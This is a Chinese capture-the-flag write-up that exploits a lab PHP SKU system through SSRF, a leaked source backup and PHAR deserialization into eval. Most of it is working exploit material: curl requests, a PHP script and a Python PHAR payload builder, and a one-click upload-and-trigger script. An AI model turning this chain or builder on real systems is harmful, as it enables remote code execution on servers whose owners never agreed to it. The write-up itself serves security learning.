xben系列092关 组合环境

环境拓扑

用户
├── 21959 — Nginx 1.18.0 (反向代理 → 内部 API 4455)
└── 21960 — Apache 2.4.56 + PHP 8.0.30 + Twig 3.10.3 (SKU 管理系统)
      └── 127.0.0.1:4455 — SKU Model 内部 API
            ├── GET /sku_transfer
            ├── GET /sku_validation
            ├── POST /sku_process   (base64 解码后写入 /tmp/)
            └── POST /sku_read     (PHAR 反序列化 → RCE)

第一步:信息收集

1.1 基础扫描

# 端口探测
curl -s -i http://ulab.bdziyi.cn:21959/
curl -s -i http://ulab.bdziyi.cn:21960/

结果:

  • 21959:Nginx 1.18.0,返回 403 Forbidden

  • 21960:Apache 2.4.56 (Debian) + PHP 8.0.30,返回 Hello + Twig 3.10.3 信息

d2b5ca33bd20260612150933

1.2 端口 21960 路径枚举

# 首页
curl -s http://ulab.bdziyi.cn:21960/
# 输出:Twig version 3.10.3, Sandbox mode: Enabled

# SKU 系统各页面
curl -s http://ulab.bdziyi.cn:21960/sku_system.php
curl -s http://ulab.bdziyi.cn:21960/sku_search.php
curl -s http://ulab.bdziyi.cn:21960/sku_add.php

d2b5ca33bd20260612150959

1.3 发现 SSRF 端点

# sku_url.php — URL 获取器
curl -s -X POST "http://ulab.bdziyi.cn:21960/sku_url.php" \
 -d "url=http://127.0.0.1:4455/"

响应: 返回 SKU Model 内部 API 文档,包含三个端点:/sku_transfer/sku_validation/sku_process

d2b5ca33bd20260612151021


第二步:发现 Nginx ACL 绕过

直接通过 21959 端口访问内部 API:

# 发现 21959 不仅是 /index.php,而是完整代理到内部 API
curl -s http://ulab.bdziyi.cn:21959/sku_transfer
curl -s http://ulab.bdziyi.cn:21959/sku_validation

# 发现新端点
curl -s http://ulab.bdziyi.cn:21959/sku_read
# 返回: {"status":"error","message":"Phar file not found."}d2b5ca33bd20260612151037

d2b5ca33bd20260612151055


第三步:获取源码

 

# 下载源码备份
curl -s -o backup.zip "http://ulab.bdziyi.cn:21959/backup/backup.zip"

路径扫描发现源码备份backup.zip

d2b5ca33bd20260612151112

源码分析关键发现

read_sku.php(反序列化入口):

<?php
require_once 'ReadClass.php';
$filePath = $_POST['file_path'];
$content = file_get_contents("phar://" . $filePath . "/manifest");
$data = unserialize($content);
$template = new CustomTemplate();
$template->render($data);
?>

流程:

  1. 接收 POST 参数 file_path

  2. phar:// 协议打开 /tmp/xxx.jpg/manifest

  3. 读取文件内容后执行 unserialize()

  4. 创建 CustomTemplate 对象并调用 render()

ReadClass.php(Gadget Chain):

<?php
class CustomTemplate {
   public $data;
   
   public function __wakeup() {
       eval($this->data);
  }
   
   public function render($data) {
       eval($data->data);
  }
}
?>

两个 eval() 调用,任一个触发都能 RCE。__wakeup()unserialize() 时自动触发。

sku_process.php(文件上传):

<?php
$data = base64_decode($_POST['data']);
$filename = md5(uniqid()) . '.jpg';
file_put_contents("/tmp/" . $filename, $data);
echo json_encode(["file_name" => $filename, "file_path" => "/tmp/".$filename]);
?>

接收 base64 编码的数据,解码后写入 /tmp/{md5}.jpg

那我们可以构造以下攻击链路

POST /sku_process.php  → 上传 PHAR → /tmp/{md5}.jpg
POST /read_sku.php     → phar:///tmp/{md5}.jpg/manifest
                      → unserialize()
                      → CustomTemplate::__wakeup()
                      → eval("system('cat /flag.txt');")
                      → FLAG!

攻击链: sku_readphar://{path}/manifestunserialize()CustomTemplate::__wakeup()eval($this->data)RCE


第四步:构造 PHAR 反序列化 Payload

4.1 创建 PHAR 文件

需要 PHP 环境(>= 5.3),用以下脚本生成:

cat > create_phar.php << 'EOF'
<?php
class CustomTemplate {
  public $template;
  public $data;
  public function __wakeup() { eval($this->data); }
  public function render() { eval($this->data); }
}

$pharFile = 'exploit.phar';
@unlink($pharFile);

$obj = new CustomTemplate();
$obj->data = 'system("cat /flag.txt");';
$manifestContent = serialize($obj);

$phar = new Phar($pharFile, 0, 'exploit.phar');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj);
$phar->addFromString('manifest', $manifestContent);

echo "PHAR created\n";
?>
EOF

php create_phar.php

d2b5ca33bd20260612151142

也可以使用python构建

#!/usr/bin/env python3
"""
PHAR Deserialization Exploit Builder
目标: ulab.bdziyi.cn 组合环境
"""
import hashlib, struct, zlib, base64, sys

def build_phar(payload, output="exploit.phar"):
   # 1) 序列化 CustomTemplate 对象
   escaped = payload.replace('\\', '\\\\').replace('"', '\\"')
   serialized = f'O:14:"CustomTemplate":1:{{s:4:"data";s:{len(payload)}:"{escaped}";}}'
   file_content = serialized.encode('utf-8')
   print(f"[*] 序列化: {serialized}")

   # 2) Stub — 必须以 __HALT_COMPILER(); ?> 结尾
   stub = b'<?php __HALT_COMPILER(); ?>\n'

   # 3) Manifest
   filename = b'manifest'
   file_entry = b''
   file_entry += struct.pack('<I', len(filename)) + filename
   file_entry += struct.pack('<I', len(file_content))   # 未压缩大小
   file_entry += struct.pack('<I', 0)                    # 时间戳
   file_entry += struct.pack('<I', len(file_content))   # 压缩后大小(相同)
   file_entry += struct.pack('<I', zlib.crc32(file_content) & 0xFFFFFFFF)
   file_entry += struct.pack('<I', 0x000001FF)           # 权限标志
   file_entry += struct.pack('<I', 0)                    # metadata 长度

   manifest_header = b''
   manifest_header += struct.pack('<I', 0)               # manifest 总长(占位)
   manifest_header += struct.pack('<I', 1)               # 文件数量
   manifest_header += struct.pack('<H', 0x0011)          # API 版本 1.1.1
   manifest_header += struct.pack('<I', 0)               # 全局位图
   manifest_header += struct.pack('<I', 0)               # alias 长度
   manifest_header += struct.pack('<I', 0)               # 全局 metadata 长度

   manifest_len = len(manifest_header) - 4 + len(file_entry)
   manifest_header = struct.pack('<I', manifest_len) + manifest_header[4:]

   # 4) 签名前数据
   pre_sig = stub + manifest_header + file_entry + file_content

   # 5) SHA1 签名 — 标准格式
   sha1 = hashlib.sha1(pre_sig).digest()
   sig = sha1 + struct.pack('<I', 0x0001) + b'GBMB'
   #     ^^^^   ^^^^^^^^^^^^^^^^   ^^^^^^^^
   #   SHA1值     flags=SHA1     固定魔数

   phar = pre_sig + sig

   with open(output, 'wb') as f:
       f.write(phar)

   print(f"[+] PHAR 已生成: {output} ({len(phar)} bytes)")
   print(f"[+] 尾部魔数: {phar[-4:]}")

   # 自检
   assert phar[-4:] == b'GBMB', "签名尾部错误"
   assert b'__HALT_COMPILER();' in phar, "缺少 HALT 标记"
   stored = phar[-28:-8]
   computed = hashlib.sha1(phar[:-28]).digest()
   assert stored == computed, "SHA1 不匹配"
   print("[+] 自检通过")

   return phar

if __name__ == '__main__':
   cmd = sys.argv[1] if len(sys.argv) > 1 else "system('cat /flag.txt');"
   build_phar(cmd)

4.2 Base64 编码

base64 -w0 exploit.phar

d2b5ca33bd20260612151202

第五步:上传 PHAR 到服务器

通过 SSRF 转发到内部 API 的 sku_process

# 上传 PHAR 文件
curl -s -X POST "http://ulab.bdziyi.cn:21960/sku_url.php" \
 --data-urlencode "url=http://127.0.0.1:4455/sku_process" \
 --data-urlencode "data=${PAYLOAD}"

d2b5ca33bd20260612151218

响应示例:

{"status":"success","message":"Image uploaded successfully.","file_name":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6.jpg","file_path":"/tmp/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6.jpg"}

第六步:触发反序列化 RCE

# 触发 PHAR 反序列化
curl -s -X POST "http://ulab.bdziyi.cn:21959/read_sku.php" \
 --data-urlencode "file_path=/tmp/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6.jpg"

d2b5ca33bd20260612151231

执行流程

POST sku_read?file_path=/tmp/{md5}.jpg

file_get_contents("phar:///tmp/{md5}.jpg/manifest")

unserialize(manifest_content) → CustomTemplate 对象

__wakeup() → eval("system('cat /flag.txt');")

flag{xxxxxxxx}

一键利用脚本(需要把构建好的exploit.phar放到同目录下)

#!/usr/bin/env python3
import base64
import subprocess
import sys
import requests

TARGET = "http://ulab.bdziyi.cn:21988"

php_script = """<?php
class CustomTemplate {
  public $template;
  public $data;
  public function __wakeup() { eval($this->data); }
  public function render() { eval($this->data); }
}

$pharFile = 'exploit.phar';
@unlink($pharFile);

$obj = new CustomTemplate();
$obj->data = 'system("cat /flag.txt");';
$manifestContent = serialize($obj);

$phar = new Phar($pharFile, 0, 'exploit.phar');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj);
$phar->addFromString('manifest', $manifestContent);

echo "PHAR created\\n";
"""


with open('exploit.phar', 'rb') as f:
   phar_data = f.read()

b64_data = base64.b64encode(phar_data).decode()
print(f"[*] PHAR size: {len(phar_data)}")

# Upload
print(f"\n[*] Uploading PHAR...")
resp1 = requests.post(f"{TARGET}/sku_process.php", data={"data": b64_data}, timeout=30)
print(f"[*] Upload: HTTP {resp1.status_code}")

j = resp1.json()
file_path = j.get("file_path", "")
print(f"[*] Server saved to: {file_path}")

# Trigger
print(f"\n[*] Triggering deserialization...")
resp2 = requests.post(f"{TARGET}/read_sku.php", data={"file_path": file_path}, timeout=30)
print(f"[*] Trigger: HTTP {resp2.status_code}")
print(f"[*] Response:\n{resp2.text}")

完整攻击链总结

① 信息收集
  ├── 发现 SSRF 端点 (sku_url.php) → 内部 API 4455
  └── 发现 Nginx 21959 全代理到内部 API
       
② 源码泄露
  └── backup/backup.zip 下载 → 分析源码
   
③ 发现 Gadget Chain
  ├── read_sku.php: phar:// → unserialize()
  └── ReadClass.php: CustomTemplate::__wakeup() → eval()
   
④ 构建 PHAR 反序列化 Payload
  └── PHP Phar 类创建 exploit.phar
      └── manifest 内含 serialize(CustomTemplate)
          └── data = "system('cat /flag.txt');"
   
⑤ 上传 (SSRF)
  └── POST sku_url.php → sku_process
      └── base64(data) → /tmp/{md5}.jpg
   
⑥ 触发 (Nginx代理)
  └── POST 21959/sku_read?file_path=/tmp/{md5}.jpg
      └── phar:// → unserialize → __wakeup → eval
          └── FLAG!
请登录后发表评论

    请登录后查看回复内容